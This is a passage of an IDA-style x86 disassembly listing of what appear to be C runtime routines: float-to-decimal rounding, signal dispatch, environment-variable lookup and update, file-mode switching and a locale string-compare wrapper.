ecx, ecx mov [ebp+arg_14], eax jle short loc_4258F0 mov [ebp+arg_C], ecx loc_4258A3: ; CODE XREF: sub_4256C2+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4250CF lea eax, [ebp+var_10] push eax call sub_4250CF lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425071 lea eax, [ebp+var_10] push eax call sub_4250CF mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_4258A3 mov eax, [ebp+arg_14] loc_4258F0: ; CODE XREF: sub_4256C2+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_42592D loc_4258FD: ; CODE XREF: sub_4256C2+248j cmp eax, ecx jb short loc_425910 cmp byte ptr [eax], 39h jnz short loc_42590C mov byte ptr [eax], 30h dec eax jmp short loc_4258FD ; --------------------------------------------------------------------------- loc_42590C: ; CODE XREF: sub_4256C2+242j cmp eax, ecx jnb short loc_425914 loc_425910: ; CODE XREF: sub_4256C2+23Dj inc eax inc word ptr [ebx] loc_425914: ; CODE XREF: sub_4256C2+24Cj inc byte ptr [eax] loc_425916: ; CODE XREF: sub_4256C2+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425925: ; CODE XREF: sub_4256C2+F0j mov eax, [ebp+var_4] loc_425928: ; CODE XREF: sub_4256C2+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42592D: ; CODE XREF: sub_4256C2+239j ; sub_4256C2+275j cmp eax, ecx jb short loc_42593D cmp byte ptr [eax], 30h jnz short loc_425939 dec eax jmp short loc_42592D ; --------------------------------------------------------------------------- loc_425939: ; CODE XREF: sub_4256C2+272j cmp eax, ecx jnb short loc_425916 loc_42593D: ; CODE XREF: sub_4256C2+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_42594C: ; CODE XREF: sub_4256C2+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425928 sub_4256C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425955 proc near ; CODE XREF: sub_42255C+226Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_4259BC dec eax dec eax jz short loc_4259AD sub eax, 4 jz short loc_4259AD sub eax, 3 jz short loc_4259AD sub eax, 4 jz short loc_4259A0 sub eax, 6 jz short loc_425993 dec eax jz short loc_425986 or eax, 0FFFFFFFFh jmp loc_425A7E ; --------------------------------------------------------------------------- loc_425986: ; CODE XREF: sub_425955+27j mov esi, dword_4DBC5C mov eax, offset dword_4DBC5C jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_425993: ; CODE XREF: sub_425955+24j mov esi, dword_4DBC58 mov eax, offset dword_4DBC58 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259A0: ; CODE XREF: sub_425955+1Fj mov esi, dword_4DBC60 mov eax, offset dword_4DBC60 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259AD: ; CODE XREF: sub_425955+10j ; sub_425955+15j ... push edi call sub_425A82 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259BC: ; CODE XREF: sub_425955+Cj mov esi, dword_4DBC54 mov eax, offset dword_4DBC54 loc_4259C7: ; CODE XREF: sub_425955+3Cj ; sub_425955+49j ... cmp esi, 1 jnz short loc_4259D3 xor eax, eax jmp loc_425A7E ; --------------------------------------------------------------------------- loc_4259D3: ; CODE XREF: sub_425955+75j test esi, esi jnz short loc_4259DE push 3 call sub_41B7C2 loc_4259DE: ; CODE XREF: sub_425955+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_4259F0 cmp edi, 0Bh jz short loc_4259F0 cmp edi, 4 jnz short loc_425A16 loc_4259F0: ; CODE XREF: sub_425955+8Fj ; sub_425955+94j mov ebx, dword_4DBA30 and dword_4DBA30, 0 cmp edi, ecx jnz short loc_425A45 mov edx, dword_43D02C mov dword_43D02C, 8Ch mov [ebp+arg_0], edx jmp short loc_425A19 ; --------------------------------------------------------------------------- loc_425A16: ; CODE XREF: sub_425955+99j mov ebx, [ebp+arg_0] loc_425A19: ; CODE XREF: sub_425955+BFj cmp edi, ecx jnz short loc_425A45 mov eax, dword_43D020 mov ecx, dword_43D024 add ecx, eax cmp eax, ecx jge short loc_425A4C lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43CFB0h[edx*4] loc_425A3A: ; CODE XREF: sub_425955+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425A3A jmp short loc_425A4C ; --------------------------------------------------------------------------- loc_425A45: ; CODE XREF: sub_425955+AAj ; sub_425955+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425A5A loc_425A4C: ; CODE XREF: sub_425955+D7j ; sub_425955+EEj push dword_43D02C push 8 call esi pop ecx pop ecx jmp short loc_425A68 ; --------------------------------------------------------------------------- loc_425A5A: ; CODE XREF: sub_425955+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425A68 cmp edi, 4 jnz short loc_425A7B loc_425A68: ; CODE XREF: sub_425955+103j ; sub_425955+10Cj cmp edi, 8 mov dword_4DBA30, ebx jnz short loc_425A7B mov eax, [ebp+arg_0] mov dword_43D02C, eax loc_425A7B: ; CODE XREF: sub_425955+111j ; sub_425955+11Cj xor eax, eax pop ebx loc_425A7E: ; CODE XREF: sub_425955+2Cj ; sub_425955+79j pop edi pop esi pop ebp retn sub_425955 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425A82 proc near ; CODE XREF: sub_425955+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43D028 cmp dword_43CFAC, edx push esi mov eax, offset dword_43CFA8 jz short loc_425AB0 lea esi, [ecx+ecx*2] lea esi, ds:43CFA8h[esi*4] loc_425AA4: ; CODE XREF: sub_425A82+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425AB0 cmp [eax+4], edx jnz short loc_425AA4 loc_425AB0: ; CODE XREF: sub_425A82+16j ; sub_425A82+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43CFA8h[ecx*4] cmp eax, ecx jnb short loc_425AC4 cmp [eax+4], edx jz short locret_425AC6 loc_425AC4: ; CODE XREF: sub_425A82+3Bj xor eax, eax locret_425AC6: ; CODE XREF: sub_425A82+40j retn sub_425A82 endp ; =============== S U B R O U T I N E ======================================= sub_425AC7 proc near ; CODE XREF: sub_4247EC+23p arg_0 = dword ptr 4 cmp dword_4DCFF0, 0 push ebx push esi mov esi, dword_4DB980 push edi jz short loc_425B3E test esi, esi jnz short loc_425AF8 cmp dword_4DB988, esi jz short loc_425B3E call sub_425E95 test eax, eax jnz short loc_425B3E mov esi, dword_4DB980 test esi, esi jz short loc_425B3E loc_425AF8: ; CODE XREF: sub_425AC7+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_425B3E push ebx call sub_41AFE0 pop ecx mov edi, eax loc_425B09: ; CODE XREF: sub_425AC7+6Dj mov eax, [esi] test eax, eax jz short loc_425B3E push eax call sub_41AFE0 cmp eax, edi pop ecx jbe short loc_425B31 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_425B31 push edi push ebx push eax call sub_425E56 add esp, 0Ch test eax, eax jz short loc_425B36 loc_425B31: ; CODE XREF: sub_425AC7+51j ; sub_425AC7+59j add esi, 4 jmp short loc_425B09 ; --------------------------------------------------------------------------- loc_425B36: ; CODE XREF: sub_425AC7+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_425B40 ; --------------------------------------------------------------------------- loc_425B3E: ; CODE XREF: sub_425AC7+10j ; sub_425AC7+1Cj ... xor eax, eax loc_425B40: ; CODE XREF: sub_425AC7+75j pop edi pop esi pop ebx retn sub_425AC7 endp ; =============== S U B R O U T I N E ======================================= sub_425B44 proc near ; CODE XREF: sub_424F0A+8Bp ; sub_424F0A+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DCDA0 jnb short loc_425BAB mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DCCA0[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425BAB mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425B84 and cl, 7Fh jmp short loc_425B91 ; --------------------------------------------------------------------------- loc_425B84: ; CODE XREF: sub_425B44+39j cmp [esp+4+arg_4], 4000h jnz short loc_425B9F or cl, 80h loc_425B91: ; CODE XREF: sub_425B44+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425B9F: ; CODE XREF: sub_425B44+48j mov dword_4DB958, 16h jmp short loc_425BB5 ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_425B44+Bj ; sub_425B44+27j mov dword_4DB958, 9 loc_425BB5: ; CODE XREF: sub_425B44+65j or eax, 0FFFFFFFFh pop esi retn sub_425B44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425BBA proc near ; CODE XREF: sub_4256C2+165p ; sub_425DDA+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425DBA cmp cx, 7FFFh jnb loc_425DBA cmp dx, 0BFFDh ja loc_425DBA cmp dx, 3FBFh ja short loc_425C23 xor eax, eax jmp short loc_425C5D ; --------------------------------------------------------------------------- loc_425C23: ; CODE XREF: sub_425BBA+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425C45 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425C45 xor eax, eax cmp [esi+4], eax jnz short loc_425C47 cmp [esi], eax jnz short loc_425C47 jmp loc_425DB4 ; --------------------------------------------------------------------------- loc_425C45: ; CODE XREF: sub_425BBA+71j ; sub_425BBA+79j xor eax, eax loc_425C47: ; CODE XREF: sub_425BBA+80j ; sub_425BBA+84j cmp cx, ax jnz short loc_425C6A inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425C6A cmp [ebx+4], eax jnz short loc_425C6A cmp [ebx], eax jnz short loc_425C6A loc_425C5D: ; CODE XREF: sub_425BBA+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_425DD5 ; --------------------------------------------------------------------------- loc_425C6A: ; CODE XREF: sub_425BBA+90j ; sub_425BBA+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425C7A: ; CODE XREF: sub_425BBA+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425CCE add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425C96: ; CODE XREF: sub_425BBA+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425050 add esp, 0Ch test eax, eax jz short loc_425CC1 mov eax, [ebp+var_4] inc word ptr [eax] loc_425CC1: ; CODE XREF: sub_425BBA+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425C96 loc_425CCE: ; CODE XREF: sub_425BBA+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425C7A add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425D11 loc_425CEC: ; CODE XREF: sub_425BBA+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425D0A lea eax, [ebp+var_24] push eax call sub_4250CF add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425CEC loc_425D0A: ; CODE XREF: sub_425BBA+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425D4A loc_425D11: ; CODE XREF: sub_425BBA+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425D4A movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425D2A: ; CODE XREF: sub_425BBA+184j test byte ptr [ebp+var_24], 1 jz short loc_425D33 inc [ebp+var_14] loc_425D33: ; CODE XREF: sub_425BBA+174j lea eax, [ebp+var_24] push eax call sub_4250FD dec ebx pop ecx jnz short loc_425D2A cmp [ebp+var_14], 0 jz short loc_425D4A or byte ptr [ebp+var_24], 1 loc_425D4A: ; CODE XREF: sub_425BBA+155j ; sub_425BBA+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425D61 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425D96 loc_425D61: ; CODE XREF: sub_425BBA+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425D93 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425D8E and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425D88 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D88: ; CODE XREF: sub_425BBA+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D8E: ; CODE XREF: sub_425BBA+1B5j inc [ebp+var_20+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D93: ; CODE XREF: sub_425BBA+1ABj inc [ebp+var_24+2] loc_425D96: ; CODE XREF: sub_425BBA+1A5j ; sub_425BBA+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425DBA mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425DB4: ; CODE XREF: sub_425BBA+86j mov [esi+0Ah], ax jmp short loc_425DD5 ; --------------------------------------------------------------------------- loc_425DBA: ; CODE XREF: sub_425BBA+42j ; sub_425BBA+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_425DD5: ; CODE XREF: sub_425BBA+ABj ; sub_425BBA+1FEj pop edi pop esi pop ebx leave retn sub_425BBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DDA proc near ; CODE XREF: sub_4251F1+440p ; sub_4256C2+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43D4A8 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_425E53 jge short loc_425E02 mov eax, [ebp+arg_4] mov ebx, offset dword_43D608 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_425E02: ; CODE XREF: sub_425DDA+16j cmp [ebp+arg_8], ecx jnz short loc_425E0D mov eax, [ebp+arg_0] mov [eax], cx loc_425E0D: ; CODE XREF: sub_425DDA+2Bj cmp [ebp+arg_4], ecx jz short loc_425E53 push esi push edi loc_425E14: ; CODE XREF: sub_425DDA+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_425E4C lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_425E3F lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_425E3F: ; CODE XREF: sub_425DDA+57j push esi push [ebp+arg_0] call sub_425BBA pop ecx pop ecx xor ecx, ecx loc_425E4C: ; CODE XREF: sub_425DDA+49j cmp [ebp+arg_4], ecx jnz short loc_425E14 pop edi pop esi loc_425E53: ; CODE XREF: sub_425DDA+14j ; sub_425DDA+36j pop ebx leave retn sub_425DDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425E56 proc near ; CODE XREF: sub_425AC7+5Ep ; sub_426332+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_425E63 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_425E63: ; CODE XREF: sub_425E56+7j push dword_4DCDA4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4DCFC4 call sub_425F03 add esp, 1Ch test eax, eax jnz short loc_425E90 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_425E90: ; CODE XREF: sub_425E56+31j add eax, 0FFFFFFFEh pop ebp retn sub_425E56 endp ; =============== S U B R O U T I N E ======================================= sub_425E95 proc near ; CODE XREF: sub_425AC7+1Ep ; sub_4261AB+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4DB988 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_425EF6 mov ebx, dword_42717C loc_425EAE: ; CODE XREF: sub_425E95+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_425EFE push ebp call sub_41B4D5 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_425EFE push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_425EFE push edi push [esp+18h+var_4] call sub_4261AB mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_425EAE loc_425EF6: ; CODE XREF: sub_425E95+11j xor eax, eax loc_425EF8: ; CODE XREF: sub_425E95+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_425EFE: ; CODE XREF: sub_425E95+29j ; sub_425E95+38j ... or eax, 0FFFFFFFFh jmp short loc_425EF8 sub_425E95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425F03 proc near ; CODE XREF: sub_425E56+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427CE8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4DBC68, ebx push 1 pop edi jnz short loc_425F76 push edi mov eax, offset dword_427938 push eax push edi push eax push ebx push ebx nop call near ptr 25E0000h test eax, eax jz short loc_425F53 mov dword_4DBC68, edi jmp short loc_425F76 ; --------------------------------------------------------------------------- loc_425F53: ; CODE XREF: sub_425F03+46j push edi mov eax, offset dword_4CB50C push eax push edi push eax push ebx push ebx nop call near ptr 25E06EEh test eax, eax jz loc_42616C mov dword_4DBC68, 2 loc_425F76: ; CODE XREF: sub_425F03+31j ; sub_425F03+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_425F8D push esi push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_425F8D: ; CODE XREF: sub_425F03+78j cmp [ebp+arg_14], ebx jle short loc_425FA2 push [ebp+arg_14] push [ebp+arg_10] call sub_426180 pop ecx pop ecx mov [ebp+arg_14], eax loc_425FA2: ; CODE XREF: sub_425F03+8Dj mov eax, dword_4DBC68 cmp eax, 2 jnz short loc_425FC7 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 25E06EEh nop jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FC7: ; CODE XREF: sub_425F03+A7j cmp eax, edi jnz loc_42616C cmp [ebp+arg_18], ebx jnz short loc_425FDC mov eax, dword_4DBA24 mov [ebp+arg_18], eax loc_425FDC: ; CODE XREF: sub_425F03+CFj cmp esi, ebx jz short loc_425FE9 cmp [ebp+arg_14], ebx jnz loc_426081 loc_425FE9: ; CODE XREF: sub_425F03+DBj cmp esi, [ebp+arg_14] jnz short loc_425FF6 loc_425FEE: ; CODE XREF: sub_425F03+13Cj ; sub_425F03+16Dj push 2 loc_425FF0: ; CODE XREF: sub_425F03+146j pop eax jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FF6: ; CODE XREF: sub_425F03+E9j cmp [ebp+arg_14], edi jle short loc_426002 loc_425FFB: ; CODE XREF: sub_425F03+151j ; sub_425F03+159j ... mov eax, edi jmp loc_42616E ; --------------------------------------------------------------------------- loc_426002: ; CODE XREF: sub_425F03+F6j cmp esi, edi jg short loc_426047 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] nop call near ptr 28B0000h test eax, eax jz loc_42616C cmp esi, ebx jle short loc_42604B cmp [ebp+var_3C], 2 jb short loc_426047 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_426047 loc_42602D: ; CODE XREF: sub_425F03+142j mov dl, [eax+1] cmp dl, bl jz short loc_426047 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_426041 cmp cl, dl jbe short loc_425FEE loc_426041: ; CODE XREF: sub_425F03+138j inc eax inc eax cmp [eax], bl jnz short loc_42602D loc_426047: ; CODE XREF: sub_425F03+101j ; sub_425F03+120j ... push 3 jmp short loc_425FF0 ; --------------------------------------------------------------------------- loc_42604B: ; CODE XREF: sub_425F03+11Aj cmp [ebp+arg_14], ebx jle short loc_426081 cmp [ebp+var_3C], 2 jb short loc_425FFB lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425FFB loc_42605E: ; CODE XREF: sub_425F03+177j mov dl, [eax+1] cmp dl, bl jz short loc_425FFB mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_426076 cmp cl, dl jbe loc_425FEE loc_426076: ; CODE XREF: sub_425F03+169j inc eax inc eax cmp [eax], bl jnz short loc_42605E jmp loc_425FFB ; --------------------------------------------------------------------------- loc_426081: ; CODE XREF: sub_425F03+E0j ; sub_425F03+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] nop call near ptr 2810000h mov [ebp+var_1C], eax cmp eax, ebx jz loc_42616C mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4260D0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4260D0: ; CODE XREF: sub_425F03+1B5j cmp [ebp+var_24], ebx jz loc_42616C push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_427180 call esi test eax, eax jz short loc_42616C push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_42616C mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_42613B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_42613B: ; CODE XREF: sub_425F03+224j cmp edi, ebx jz short loc_42616C push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] nop call near ptr 2810000h test eax, eax jz short loc_42616C push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25E0000h jmp short loc_42616E ; --------------------------------------------------------------------------- loc_42616C: ; CODE XREF: sub_425F03+63j ; sub_425F03+C6j ... xor eax, eax loc_42616E: ; CODE XREF: sub_425F03+BFj ; sub_425F03+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_425F03 endp ; =============== S U B R O U T I N E ======================================= sub_426180 proc near ; CODE XREF: sub_422ACA+81p ; sub_425F03+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42619D loc_426190: ; CODE XREF: sub_426180+1Bj cmp byte ptr [eax], 0 jz short loc_42619D inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_426190 loc_42619D: ; CODE XREF: sub_426180+Ej ; sub_426180+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4261A8 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4261A8: ; CODE XREF: sub_426180+21j mov eax, edx retn sub_426180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4261AB proc near ; CODE XREF: sub_425E95+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_42620F push 3Dh push [ebp+arg_0] call sub_4263F1 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_42620F cmp [ebp+arg_0], esi jz short loc_42620F mov eax, dword_4DB980 xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4DB984 jnz short loc_4261F5 push eax call sub_42638A pop ecx mov dword_4DB980, eax loc_4261F5: ; CODE XREF: sub_4261AB+3Cj cmp eax, edi jnz short loc_42624D cmp [ebp+arg_4], edi jz short loc_426217 cmp dword_4DB988, edi jz short loc_426217 call sub_425E95 test eax, eax jz short loc_42624D loc_42620F: ; CODE XREF: sub_4261AB+Dj ; sub_4261AB+22j ... or eax, 0FFFFFFFFh loc_426212: ; CODE XREF: sub_4261AB+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_426217: ; CODE XREF: sub_4261AB+51j ; sub_4261AB+59j cmp ebx, edi jnz loc_42632B push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB980, eax jz short loc_42620F mov [eax], edi cmp dword_4DB988, edi jnz short loc_42624D push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB988, eax jz short loc_42620F mov [eax], edi loc_42624D: ; CODE XREF: sub_4261AB+4Cj ; sub_4261AB+62j ... sub esi, [ebp+arg_0] mov edi, dword_4DB980 mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_426332 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_4262AD cmp dword ptr [edi], 0 jz short loc_4262AD test ebx, ebx jz short loc_4262A5 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41B0B1 pop ecx loc_42627F: ; CODE XREF: sub_4261AB+E2j cmp dword ptr [edi], 0 jz short loc_42628F mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_42627F ; --------------------------------------------------------------------------- loc_42628F: ; CODE XREF: sub_4261AB+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41B202 pop ecx test eax, eax pop ecx jz short loc_4262DF jmp short loc_4262DA ; --------------------------------------------------------------------------- loc_4262A5: ; CODE XREF: sub_4261AB+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4262DF ; --------------------------------------------------------------------------- loc_4262AD: ; CODE XREF: sub_4261AB+BDj ; sub_4261AB+C2j test ebx, ebx jnz short loc_42632B test esi, esi jge short loc_4262B7 neg esi loc_4262B7: ; CODE XREF: sub_4261AB+108j lea eax, ds:8[esi*4] push eax push edi call sub_41B202 pop ecx test eax, eax pop ecx jz loc_42620F mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4262DA: ; CODE XREF: sub_4261AB+F8j mov dword_4DB980, eax loc_4262DF: ; CODE XREF: 